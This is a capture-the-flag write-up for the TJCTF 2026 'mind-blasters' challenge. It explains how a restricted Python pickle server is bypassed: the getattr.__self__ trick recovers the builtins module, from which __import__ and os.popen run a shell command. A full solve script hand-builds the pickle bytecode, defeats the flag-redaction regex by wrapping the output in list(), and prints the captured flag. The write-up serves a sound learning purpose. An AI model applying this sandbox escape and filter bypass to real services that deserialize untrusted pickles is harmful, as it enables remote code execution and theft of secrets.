miscfreemedium

mind-blasters

TJCTF 2026

Task: Python pickle deserialization server with RestrictedUnpickler using a strict allowlist of 14 builtins, plus regex output filter stripping flag pattern. Solution: getattr(getattr, '__self__') returns the builtins module, enabling __import__ → os.popen chain; list() wrapping bypasses the regex filter.

$ ls tags/ techniques/
getattr_self_to_builtins_modulepickle_bytecode_craftingobject_graph_traversal_via_getattrlist_wrapping_to_bypass_regex_filter

mind-blasters — TJCTF 2026

Description

Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!

Connection: nc tjc.tf 31420 Attachment: server.py

A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.

Analysis

RestrictedUnpickler — Allowlist Model

Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:

ALLOWED = { 'type', 'getattr', 'len', 'range', 'str', 'int', 'bytes', 'list', 'dict', 'tuple', 'bool', 'set', 'frozenset', 'bytearray', } class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == 'builtins' and name in ALLOWED: return getattr(builtins, name) raise pickle.UnpicklingError('not allowed')

This means:

  • Only the builtins module is accessible — no os, subprocess, importlib, etc.
  • Only 14 specific names are allowed — no eval, exec, __import__, open, license, help, etc.
  • Any attempt to load a non-allowed class via pickle's GLOBAL/STACK_GLOBAL opcodes raises UnpicklingError

Output Filter

After deserialization, the server applies a regex to strip the flag:

result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)

Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.

The Critical Vulnerability: getattr.__self__

The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:

>>> getattr.__self__ <module 'builtins' (built-in)> >>> type(getattr.__self__) <class 'module'>

So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:

  1. getattr is loaded via find_class (passes the allowlist check)
  2. The REDUCE opcode calls getattr(getattr, '__self__') at runtime
  3. Runtime getattr calls do not go through find_class — they are normal Python attribute lookups
  4. The returned builtins module gives unrestricted access to all builtins

This is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.

Output Filter Bypass: list() Wrapping

The regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:

>>> str(list("tjctf{flag}")) "['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"

This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.

Solution

Exploit Chain

The full chain, expressed as nested Python calls:

Step 1: builtins_mod = getattr(getattr, '__self__')           → builtins module
Step 2: imp          = getattr(builtins_mod, '__import__')    → __import__ function
Step 3: os_mod       = imp('os')                              → os module
Step 4: popen_fn     = getattr(os_mod, 'popen')              → os.popen function
Step 5: popen_obj    = popen_fn('cat /flag*')                 → popen file object
Step 6: read_fn      = getattr(popen_obj, 'read')            → read method
Step 7: flag_str     = read_fn()                              → flag string
Step 8: result       = list(flag_str)                         → list of chars (filter bypass)

Pickle Bytecode

The payload uses protocol 2 with manual bytecode construction. Key opcodes:

OpcodeNameEffect
\x80\x02PROTOProtocol 2 header
cGLOBALLoad builtins.getattr or builtins.list via find_class
p0PUTStore top of stack in memo slot 0
g0GETPush memo slot 0 onto stack
(MARKStart of argument tuple
V...UNICODEPush Unicode string
tTUPLEBuild tuple from mark
RREDUCECall callable with args tuple
0POPDiscard top of stack
.STOPEnd pickle stream

Solve Script

#!/usr/bin/env python3 """ Pickle exploit for mind-blasters (TJCTF 2026) Restricted Unpickler allows only: builtins: type, getattr, len, range, str, int, bytes, list, dict, tuple, bool, set, frozenset, bytearray Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern """ import pickle import pickletools import io import base64 import socket import ast def build_payload(cmd='cat /flag*'): """Build pickle bytecode: list(os.popen(cmd).read())""" p = b'\x80\x02' # Protocol 2 # memo[0] = getattr p += b'cbuiltins\ngetattr\np0\n' # memo[1] = getattr(getattr, '__self__') → builtins module p += b'(g0\nV__self__\ntRp1\n0' # memo[2] = getattr(builtins, '__import__') → __import__ p += b'g0\n(g1\nV__import__\ntRp2\n0' # memo[3] = __import__('os') → os module p += b'g2\n(Vos\ntRp3\n0' # memo[4] = getattr(os, 'popen') → os.popen p += b'g0\n(g3\nVpopen\ntRp4\n0' # memo[5] = os.popen('cat /flag*') → file object p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0' # memo[6] = getattr(file_obj, 'read') → read method p += b'g0\n(g5\nVread\ntRp6\n0' # memo[7] = read() → flag string p += b'g6\n(tRp7\n0' # list(flag_string) → list of chars (bypasses regex filter) p += b'cbuiltins\nlist\n(g7\ntR.' return p payload = build_payload() encoded = base64.b64encode(payload) # Disassemble for verification print("=== Pickle Disassembly ===") pickletools.dis(io.BytesIO(payload)) print() # Connect and send sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect(('tjc.tf', 31420)) data = b'' while b'>' not in data: data += sock.recv(4096) sock.sendall(encoded + b'\n') resp = b'' while True: try: chunk = sock.recv(4096) if not chunk: break resp += chunk except socket.timeout: break sock.close() result = resp.decode() print(f'Response: {result}') # Parse list of chars back to flag string if 'Result:' in result: list_str = result.split('Result: ', 1)[1].strip() chars = ast.literal_eval(list_str) flag = ''.join(chars) print(f'\n[+] FLAG: {flag}')

Server Output

=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.

Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']

Reassembled: tjctf{p1ckl3_r1ck_y0u_s0lv3d_h1s_chA11!}

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups